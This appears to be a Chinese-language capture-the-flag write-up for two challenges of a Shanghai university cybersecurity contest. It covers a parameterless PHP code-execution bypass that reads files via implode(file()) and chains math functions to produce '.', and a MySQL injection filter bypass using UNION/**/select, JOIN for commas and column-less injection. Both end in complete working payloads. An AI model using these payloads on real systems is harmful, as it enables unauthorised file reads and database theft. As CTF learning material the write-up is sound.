第五届上海市大学生网络安全大赛部分WriteUp

decade

bytectf_wp 这题跟 bytectf 的 boring_code 类似,同样的无参数RCE,但是条件更苛刻了。这主要提一下这道题跟 boring_code 的不同之处如何绕过。

这里 readfile 函数被过滤了。但是可使用 implode(file()) 来进行绕过。

所以读取文件的payload就变成了echo(implode(file(end(scandir(chr(46))))));

其中 sqrt 被过滤了,所以chr(46) 不能像 bytectf 中那样构造了,但还是可以通过 chr(ceil(sinh(cosh(tan(floor(abs(tan(cosh(floor(phpversion())))))))))) 来获得 .

这样我们就获得了读取文件内容的 payload:echo(implode(file(end(scandir(chr(ceil(sinh(cosh(tan(floor(abs(tan(cosh(floor(phpversion())))))))))))))));

但是flag是在上层目录中,所以我们还需要改变目录到上层目录。根据之前类似的思路,可得到更改目录的 payload:chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(abs(tan(cosh(floor(phpversion())))))))))))))。

但是这里 time 相关的函数又被过滤了。一开始的思路时,根据 bytectf wp 中的方法。寻找一个跟time函数类似的,不接受参数,但返回值为数字的,这样在通过计算,可得到 46,然后 chr 转换为 .

但找了一圈没找到。最后发现 chdir 改变目录之后会返回 1,所以可以从这个 1 入手,通过数学函数计算得到46,然后转换为 .

所以最后的 payload 为

1
echo(implode(file(end(scandir(chr(ceil(sinh(cosh(tan(floor(ceil(tan(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(abs(tan(cosh(floor(phpversion()))))))))))))))))))))))))));

easysql

这是道注入,思路还是比较常规的。就是注入读表里的数据拿flag。主要还是考验了一个bypass的能力。

过滤的内容有 union select一起时,and,or,逗号,–+。

其中 union select 其中加上注释符既可绕过。

因为是联合注入,所以过滤 and 问题不大。

然后 or 被过滤的话,主要就是影响了无法使用 information_schema。导致的结果就是无法查数据表。我一开始的思路是查 sys.schema_auto_increment_columns 来绕过。但是后来发现这个数据库版本为5.6,这个表在5.7才有。

后来通过 select group_concat(distinct table_name) from mysql.innodb_index_stats 查询到了表名。

逗号被过滤的话,可以使用 join 来绕过。例如:select * from ((select 1)A join (select 2)B);

–+ 被过滤了,但 # 并没有。

查到表名之后,因为无法通过information_schema查字段名,所以这里使用了无列名注入。但是具体的字段数需要猜测。

最后完整的查询flag的payload为

1
id=0' UNION/**/select * from ((((select 1)A join (select group_concat(`3`) from (select * from ((select 1)A join (select 2)B join (select 3)C) union/**/select * from fl111aa44a99g)a)B) join (select 3)C) join (select 4)D)%23